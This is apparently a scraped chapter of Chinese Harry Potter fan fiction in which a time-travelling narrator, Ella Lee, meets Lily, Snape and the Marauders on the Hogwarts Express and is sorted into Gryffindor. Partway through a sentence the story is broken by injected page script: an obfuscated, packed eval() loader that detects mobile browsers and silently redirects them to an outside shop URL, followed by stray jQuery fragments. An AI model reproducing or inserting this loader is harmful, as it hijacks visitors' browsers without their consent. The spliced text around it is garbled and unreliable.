举起魔杖的那一刻起,我觉得一切都荒谬极了。

    十几年了,从伍氏孤儿院到霍格沃茨,最后再到密室——我居然真的站在这里,和里德尔魔杖相对,像所有烂俗的狗血小说里最后注定要分道扬镳的童年挚友一样,在最后一刻选择了对立面。虽然我也不知道我们的关系能否被定义为挚友。

    我甚至都不知道我在反抗什么。是他注定的命运?还是我自己都不愿承认的那些东西。

    “——钻心剜骨。”

    我和里德尔同时说出了这个咒语。当然,在我料想之中,我的这道咒语大抵起不到什么作用,我从来没有用过不可饶恕咒,肯定比不过黑魔王。

    我闭上了眼睛,站在原地,等待疼痛的降临。一秒,两秒。我睁开了眼,不可置信地看向里德尔。

    他脸上没有任何表情。只是注视着我。

    里德尔的钻心咒失效了。

    我不知道这意味着什么,也不敢细想。沉默横陈在我们之间。

    里德尔依然注视着我,似乎在用目光描摹什么,我不懂他为什么要这样看我,但我却忽然感到有种如临大敌的毛骨悚然感。

    “再见,艾拉。”里德尔转身离开,“——你最好闭上眼睛。”他很轻地留下这一句。

    留下我梅开二度地和蛇怪的黄眼珠子大眼瞪小眼。

    草——!*#*%&的里德尔!%#&○○的蛇怪!

    我愤怒地睁开了眼。

    “嗨,你也是新生吗?”一道开朗的女声从我旁边响起,我望过去,那是一个红发绿眼的漂亮女巫。

    “……”我警惕地没说话。有点搞不清楚现在是什么状况。

    “你怎么一直站在站台上不动?不上车吗?”女孩问,随后想起了什么,说道,“我是莉莉,莉莉·伊万斯,你呢?”

    红发。绿眼。莉莉·伊万斯。卧槽。

    这不是救世主的妈吗——

    我怎么突然到亲世代了?!

    梅林你个老东西为什么要这样对我啊啊啊!穿越一次还不够!穿两次也就算了!穿三次是什么意思!?还是在最黑暗的亲世代!伏地魔的势力正盛,食死徒一天到晚搞事,梅林你不如掐死我得了!

    还有、蛇怪一瞪我就穿越是什么鬼啊啊啊啊——

    “……我是艾拉,艾拉·李。”我僵硬地说。

    “好的,艾拉。”莉莉快活地说,然后拉了拉边上的人(不好意思我才发现他),“这是我的朋友,西弗勒斯·斯内普!”

    草。我忘记了,亲世代还有一个坏处就是和我磁场不对付的教授现在也是个小孩。

    我的脸色绝对很难看:“哈哈、你好啊,西……”我看着他不太友善的脸色诚实地吞了吞口水,改口道,“……斯内普。”

    谢谢,假如你也曾累死累活在O.W.L.s拿到一个魔药学的O证书顺利进入提高班,但又在平常表现一般几乎可以算是提高班上最平庸的那个,再加上和嘴毒脾气坏没什么师德的教授磁场不对付单方面非常讨厌此教授,可是每到考试就爆种让教授踹不走你从而成为魔药课钉子户的话,你看见教授这张脸,哪怕是幼年版也会非常之恐惧的。

    但某种意义上,我还得感谢幼年版斯内普教授,至少一看见他那张脸,我第一次穿越上学时的各种痛苦记忆就如潮水般将我淹没(与此同时还有吉德罗·洛哈特的脸在我脑袋里龇着大白牙笑呢……),至于里德尔?黑魔王还是比不过可怕的教授啊……

    我跟在他们身后一起上了列车,这时候我才有心思借着路过的车厢门窗玻璃上的反光打量了一下我自己,黑发黑眼,依然是那张脸,看起来十一岁的样子,提着个手提箱(大概是我的全部家当,我上辈子的钱钱……),已经穿上了霍格沃茨的袍子,袍子内侧口袋里则是我的魔杖。

    我完全摸不着头脑。前两次的穿越我都是从零开始长大,这次怎么直接变成十一岁了?而且……我感受了一下,发现我的魔力再度增长了,是上辈子的我叠加一个十一岁小巫师的状态。哦哦,金手指,我懂了。

    但是、但是、哪怕有金手指,也不代表,我想再一次地再读一遍霍格沃茨啊!我已经、我已经上了不知道几十年学了啊!霍格沃茨传奇大龄留级生吗?!难道说我其实是芬格尔师兄吗?这种事情不要啊!比起当芬格尔我更想做恺撒·加图索啊!(不是因为有钱。好吧就是。)

    “你们好,这里有空位吗?”莉莉拉开了一个车厢包间问。

    “当然。”头发乱糟糟、仿佛有一场小型龙卷风单单在他脑袋上发生一样的男孩说。

    我一看就知道这家伙是詹姆·波特,那么他边上那个黑发灰眼长得有一点像阿尔法德·布莱克的家伙想必就是西里斯·布莱克了。

    我一看见他那张脸就联想到阿尔法德·布莱克从而联想到汤姆·里德尔这个可恶的家伙……也不知道玛格丽特他们会不会因为我的死而伤心……呃我在那时候应该算是死了吧?我也搞不懂。不过说起来我好像还欠大布莱克三个人情来着……看来是不用还了。

    我忧郁地坐到靠窗的位置,忧郁地看着窗外。唉,虽然我不是混血种可现在我也感觉到了深刻的血之哀啊!

    “……你叫什么名字?”直到对面的詹姆·波特叫我我才回过神。原来刚才他们已经自我介绍了一遍,就差我自己了。

    “艾拉·李。”我提不起兴致,淡淡地说。

    “艾拉。”波特非常自来熟,金榛子色的小鹿眼亮晶晶的,“你想去哪个学院?我肯定会去格兰芬多!”

    真是好自来熟啊。我恹恹地扯出一个社交微笑:“或许是拉文克劳吧?”其实我无所谓去哪里,我不想去霍格沃茨上学了,其实我早该毕业了呜呜……

    “我看你倒是很像斯莱特林。”布莱克说,似乎和我不对付。我有点诧异,我哪里惹到他了?不过联想到他的人设,又联想到我刚才的反应,难道他觉得我的表现很斯莱特林?好吧或许和里德尔待久了我也学习了一点斯莱特林的社交面具吧,可恶的里德尔,真是祸害遗千年,一想到他现在更名换姓成为伏地魔正混得风生水起而我却还要再重上一次学我就难受。

    “我想每一个学院都有它的可取之处,无论是斯莱特林还是其他。”我说。这是发自内心的。

    布莱克看我的眼神更加冰冷了些。他似乎认定了我会去斯莱特林。跟阿尔法德·布莱克那种心眼子很多的布莱克相比,这个小布莱克看起来直白很多——通俗地讲就是看起来傻一点。情绪摆在了脸上。

    “你对斯莱特林有什么意见吗?”斯内普开口了,尚未成为热爱喷洒毒液的教授的他在幼年体时期也是那么的嘴毒,真是令人怀念啊!(并不!),“我想那是最好的学院。”

    “嗤。”布莱克发出一声嗤笑,还未来得及开口回击,波特便抢先开了口:“斯莱特林?”他挑着眉说,“那里尽出些黑巫师。”

    “如果你更喜欢四肢发达而不是头脑聪明的话。”斯内普带着淡淡的冷笑说道。

    “看起来你两者都不是,那么你打算去哪儿呢?”布莱克说。

    最后,在波特阴阳怪气的“再见,鼻涕精”的告别声中,莉莉拉着斯内普愤怒地甩上车厢门离开了这儿。在她走的时候用眼神询问过我是否想要一起走,但我实在不想面对斯内普,我一看见他就有点胆寒头晕恶心想吐,所以还是婉拒了哈。

    “你怎么不跟他们一起走?”布莱克说。

    “这车厢上写了只能你们俩坐在这儿吗?”我装作惊讶地说。好吧,我猜我脸上的神情看起来真的很像斯莱特林,我特意照着沙菲克加里德尔的气质演的。而且说实在的,如果他俩看不惯我可以自己离开,我可懒得再去找一个空包厢,谢谢,社恐。

    “嘿,兄弟,别这样!”令我意想不到的是,波特反而出来打了圆场,“我觉得艾拉人不错!”或许这是他的第六感?毕竟我只是一个纯良无辜的拉文克劳、前赫奇帕奇,除了上辈子有个毒蛇竹马以外和斯莱特林没有任何关系。

    布莱克脸上的表情很难说,瞥了波特一眼居然真的不说话了。哦——多么奇妙的男孩友谊,他们两人完全是一见如故立马成为了异父异母的亲兄弟的程度。

    包厢的气氛非常诡异。詹姆——没错看在他

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17866349|208367||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    人还不错的份上我们已经用教名称呼彼此了——时不时地和我搭两句话再和布莱克搭两句话,而我和布莱克彼此无视对方。

    莱姆斯·卢平就是在这样的气氛下拉开的包厢门。

    “哦、抱歉,”他那张有着浅浅疤痕的苍白面孔上露出些许无措感,“这里还有空位吗?”

    “当然!”詹姆热情地说,招呼他坐下。

    卢平拘谨地坐在了我边上的空位。

    “詹姆·波特!”他伸出手去。

    卢平眨了眨眼,握了握他的手,露出一点意外的笑容:“莱姆斯·卢平。”

    “西里斯·布莱克。”某个“纯血家族大少爷”(咬重音)懒散地说。

    “我是艾拉·李。”我对他微微笑了笑。

    “莱姆斯——我可以这么称呼你吧?你想去哪个学院?”詹姆兴致勃勃地问。他就像个得了多动症的小孩一样闲不下来。

    “我不知道,不过、我想我能来霍格沃茨上学就已经非常好了。”卢平说。

    哦——可怜的狼人。我回忆起了一点剧情,比如说他是个教学水平非常好的黑魔法防御术教授这一点,可恶!但凡我当年晚上一年学也不至于在七年级遇到洛哈特!

    “那我祝你能来格兰芬多!”詹姆致力于向全世界推销格兰芬多,或许他是格兰芬多梦男,“这是最好的学院!那里都是勇敢的人!我爸爸就是那里毕业的!”

    勇敢吗?我琢磨了一下这个词。我不知道自己能否被称为勇敢——

    “哦!一个先天的大脑封闭术者!”老帽子第三次在我脑袋上说话,“这很罕见,嗯……不过我总觉得似曾相识?”当然了,十几年前你在我脑袋上说过一样的第一句话!不过它没有认出我?包括上台时我和邓布利多——现在是校长——对视了一眼,他看起来也并不熟悉我。这很奇怪,我是说,虽然我不至于是邓布利多教授最爱的学生,但也算是他比较喜爱的那一批,可他似乎并没有认出我,我的脸又没变啊……

    “让我感受一下,嗯……你富有求知欲,喜欢学习,很适合拉文克劳。唔……正直善良、有一些,但不多……”什么,我的正直善良都已经死去了吗!?都怪里德尔……

    “哦,我找到了,你有着很大的勇气,你甚至想要单枪匹马地去对付神秘人……呃,非常勇敢!”分院帽干巴巴地说。好吧,这大概是因为我脑子里浮现出了里德尔的身影,这让我恨不得拿魔杖对他来上八百十个钻心咒,以我现在的心情绝对能施咒成功——如果不是他我才不会再从一年级重新上学!

    “……你很适合格兰芬多,不过拉文克劳也不错,你想去哪儿呢?”它把问题抛给了我。

    “……格兰芬多吧。”拉文克劳太卷了、而且……拉文克劳寝室、实在太高了啊……虽然格兰芬多也很高但还是没有拉文克劳那么高的呢……

    “好的,如你所愿,”善解人意的分院帽说道,“格兰芬多——!”

    ——看来我还是非常勇敢的!

    格兰芬多的长桌那儿响起热烈的掌声,我摘下帽子往那儿走去,西里斯·布莱克已经分完院了,在格兰芬多那儿看我的眼神有些怪异,似乎没想到我居然也是个格兰芬多。

    “艾拉!”莉莉招呼我坐到她边上的空位,这位置斜对面就是布莱克,他正时不时投来复杂的眼神,“真高兴我们分到了一个学院!”她脸上带着真诚的笑。

    “我也是。”我说。

    分院很快结束,莱姆斯坐到了我的左边,他的左边则是彼得·佩德鲁,而詹姆,显而易见他坐到了布莱克边上。

    “艾拉!莱姆斯!”詹姆一坐下就快活地说,“这可真不错!你们都被分到了格兰芬多!我敢保证这是最好的学院!”不愧是格兰芬多激推啊!

    布莱克在他说话时一脸欲言又止地看了我一眼。

    面前的长桌上已经堆满了各种美食,但我一点儿胃口也没有,我的脑子里不合时宜地满是里德尔的脸,各种各样的里德尔盘旋在我的脑子里,然后最后汇合成了一个丑陋的蛇脸男,阴森森地举起魔杖:钻心剜骨!

    狗比汤姆·里德尔!